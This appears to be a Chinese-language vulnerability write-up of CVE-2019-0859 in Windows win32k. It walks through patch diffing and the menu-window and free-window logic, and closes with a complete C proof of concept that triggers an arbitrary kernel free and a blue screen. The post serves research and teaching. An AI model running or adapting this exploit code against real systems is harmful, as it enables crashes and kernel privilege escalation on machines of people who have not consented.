CVE-2019-0859分析
CVE-2019-0859是win32k的一个内核提权漏洞。
最早在2019年4月份首先被卡巴发现:
https://securelist.com/new-win32k-zero-day-cve-2019-0859/90435/
这里将分享一下,在只有补丁对比和少量信息情况下,如何还原漏洞利用。
补丁分析
分别更新微软3月份和4月份补丁。
重点看下两个版本的win32k的补丁对比。
这里是用bindiff对比得出结果:
这里很多补丁点,但xxxMenuWindowProc较为可疑。
(实际情况是:你也不确定哪一个是,全部都要看一遍,这里是后面上帝视角得出的结论。)
主要变化就是,多了一条汇编判断:
伪码对比就是:
补丁前:
补丁后:
在此我们可以看到进入xxxMenuWindowProc() 流程后:
如果fnid为0,则会在消息为0x81的情况下,该窗体的fnid将会被改成0x29c
其中,fnid代表该窗口的属性,0x29c代表菜单对象:
0x81代表消息WM_NCCREATE:
上述截图来自于网上泄漏出来的win2000源码。
需要注意的是:xxxMenuWindoProc() 后续调用的xxxRealMenuWindowProc() 却判断了0x130 位置,并最终返回了0
漏洞分析
通过卡巴的报告,
我们得出一个初步结论:我们可以通过SetWindowHookEx()处理WM_NCCREATE消息(此时FNID为0),在这里更改窗口的处理函数,最终在win32k!xxxFreeWindow()
中释放了一个外部地址。
我们先来看一下xxxFreeWindow()的释放处理:
大意就是:
如果是是菜单对象,且wnd+0x130处不为空则直接释放wnd+0x130
至于wnd+0x130代表的含义,我们并没有查询到相关信息
这里需要额外注意的是:
0859在win7原始版本上是没有这段释放逻辑的,也就是说如果你逆向的win32k.sysy中这个函数中没有这段ExFreePoolWithTag操作,那么就说明你的这个版本并不存在此漏洞。
触发思路
大概有两种思路:
- 1.创建一个菜单对象,然后以某种方式改掉0x130处值,造成错误地址释放。
- 2.创建一个普通窗口对象,修改完0x130处的值,然后将窗体WndProc指向xxxMenuWindowProc()
第一种思路目前没有试验成功,我们将说明第二种。
我们先来看下CreateWinowEx() 的流程:
我们发现 CreateWindowEx() 会在创建完窗体的 tagWND 对象后,调用 xxxSendMessageTimeout() 向窗体发送 WM_NCCREATE 消息(此时的 FNID 是0):
来看下xxxSendMessageTimeout() 关键部分:
xxxSendMessageTimeout() 首先会通过xxxCallHook() 调用我们之前用SetWindowHookEx() 设置的回调,然后会调用该窗口的处理函数。
我们将在回调中修改该窗口的处理函数指向xxxMenuWindowProc(),我们发现使用函数SetWindowLongPtr(),第二个参数设成GWLP_WNDPROC可以达成这一目的。
但是在这里我们遇到了一个很大的问题:
xxxSendMessageTimeout() 会判断wnd窗口的state标志位,这里如果直接调用SetWindowLongPtr() 修改成内核的xxxMenuWindowProc后,虽然修改成功,但是在后续的state的判断中并未通过,最终导致没有调用到xxxMenuWindowProc()
这是为什么呢,我们来继续分析一下:
WFSERVERSIDEPROC标志位
来看一下SetWindowLongPtr() 中调用的xxxSetWindowData() 设置lpfnWndProc 的地方:
其中0x204代表:WFSERVERSIDEPROC
NewLong是我们在 SetWindowLongPtr() 传入的第三个参数。
如果MapClientToServerPfn() 返回的值是非0的话,会直接将我们的Newlong 赋值给wnd->lpfnWndProc ,但是会导致SetOrClrWF() 取消WFSERVERSIDEPROC 标志位,最终导致了 xxxSendMessageTimeout() 中未调用该处理函数。
不过,我们发现MapClientToServerPfn()只要传入指定参数,可以让MapClientToServerPfn() 返回 xxxMenuWndProc() 地址。
我们来看下MapClientToServerPfn():
函数很简短,我们发现该函数会将dwNewLong在gpsi 指向的apfnClientA和apfnClientW比对,
如果比对成功返回aStoCidPfn数组中的值。
我们通过动态调试看aStoCidPfn:
其中第三项指向了我们的想要的目标函数.
然后我们再看下apfnClientA和apfnClientW:
apfnClientW和此类似,就不贴截图了
然后进一步发现dwNewLong只要是等于pfnMenuWndProc的值就可以成立,达到我们的目标。
我们再看看pfnMenuWndProc是什么:
发现指向了ntdll未导出的的函数表。
那么我们怎么定位这个地址呢?
通过IDA逆向发现,这个地址和ntdll的导出函数 RtlInitializeNtUserPfn() 有关
可以动态从该函数得出偏移计算出NtUserPfn
NtUserPfn的第三项指向了该值
最后漏洞流程总结如图:
蓝屏堆栈:
蓝屏验证poc:
// 编译成64位程序
#include "stdafx.h"
#include <Windows.h>
#define MY_MENUCLASS_NAME L"112233"
ULONG_PTR GetNtdllMenuWndProc()
{
HMODULE hModule = LoadLibraryW(L"ntdll.dll");
if (hModule == NULL)
{
return 0;
}
PUCHAR pfnRtlInitializeNtUserPfn = (PUCHAR)GetProcAddress(hModule, "RtlInitializeNtUserPfn");
if (pfnRtlInitializeNtUserPfn == NULL)
{
return 0;
}
#define NT_USER_PFN_TABLE_OFFSET 0x14
//48 8D 0D xx xx xx xx ;lea rcx, NtUserPfn
if (pfnRtlInitializeNtUserPfn[NT_USER_PFN_TABLE_OFFSET] != 0x48 ||
pfnRtlInitializeNtUserPfn[NT_USER_PFN_TABLE_OFFSET + 1] != 0x8D ||
pfnRtlInitializeNtUserPfn[NT_USER_PFN_TABLE_OFFSET + 2] != 0x0D)
{
return 0;
}
ULONG32 uNtUserPfnOffset = *(PULONG32)(pfnRtlInitializeNtUserPfn + NT_USER_PFN_TABLE_OFFSET + 3);
PUINT64 pNtUserPfn = (PUINT64)(
(ULONG_PTR)pfnRtlInitializeNtUserPfn +
NT_USER_PFN_TABLE_OFFSET +
7 +
uNtUserPfnOffset);
ULONG64 NtdllMenuWndProcA = pNtUserPfn[2];
return NtdllMenuWndProcA;
}
LRESULT WindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
static HWND hwndMenuHit = 0;
static UINT iShadowCount = 0;
WCHAR szClassName[64] = { 0 };
GetClassNameW(cwp->hwnd, szClassName, 64);
if (lstrcmpW(szClassName, MY_MENUCLASS_NAME) != 0)
{
return CallNextHookEx(0, code, wParam, lParam);
}
if (cwp->message == WM_NCCREATE)
{
printf("[+]WindowHookProc : WM_NCCREATE..\n");
// 这里可以造成地址任意释放, 0x1122334455667788是释放地址
SetWindowLongPtrW(cwp->hwnd, 8, 0x1122334455667788);
// 更改WndProc为系统的MenuWndProc地址
ULONG64 NtdllMenuWndProcA = GetNtdllMenuWndProc();
SetWindowLongPtrW(cwp->hwnd, GWLP_WNDPROC, NtdllMenuWndProcA);
}
return CallNextHookEx(0, code, wParam, lParam);
}
INT Exploit_0859_FreeAddr(ULONG64 Addr)
{
SetWindowsHookExW(WH_CALLWNDPROC,
WindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
WNDCLASSEXW Class = { 0 };
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 16;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = MY_MENUCLASS_NAME;
if (!RegisterClassExW(&Class))
{
return -1;
}
HWND hwnd = CreateWindowExW(0, MY_MENUCLASS_NAME, NULL, NULL,
0, 0, 0, 0,
NULL, NULL, GetModuleHandleA(NULL), NULL);
if (hwnd == NULL)
{
return -1;
}
printf("[+]hwnd:%p\n", hwnd);
return 0;
}
int main()
{
Exploit_0859_FreeAddr((ULONG64)NULL);
getchar();
return 0;
}
完整利用可以参考网上公开poc:
发表评论
要发表评论,您必须先登录。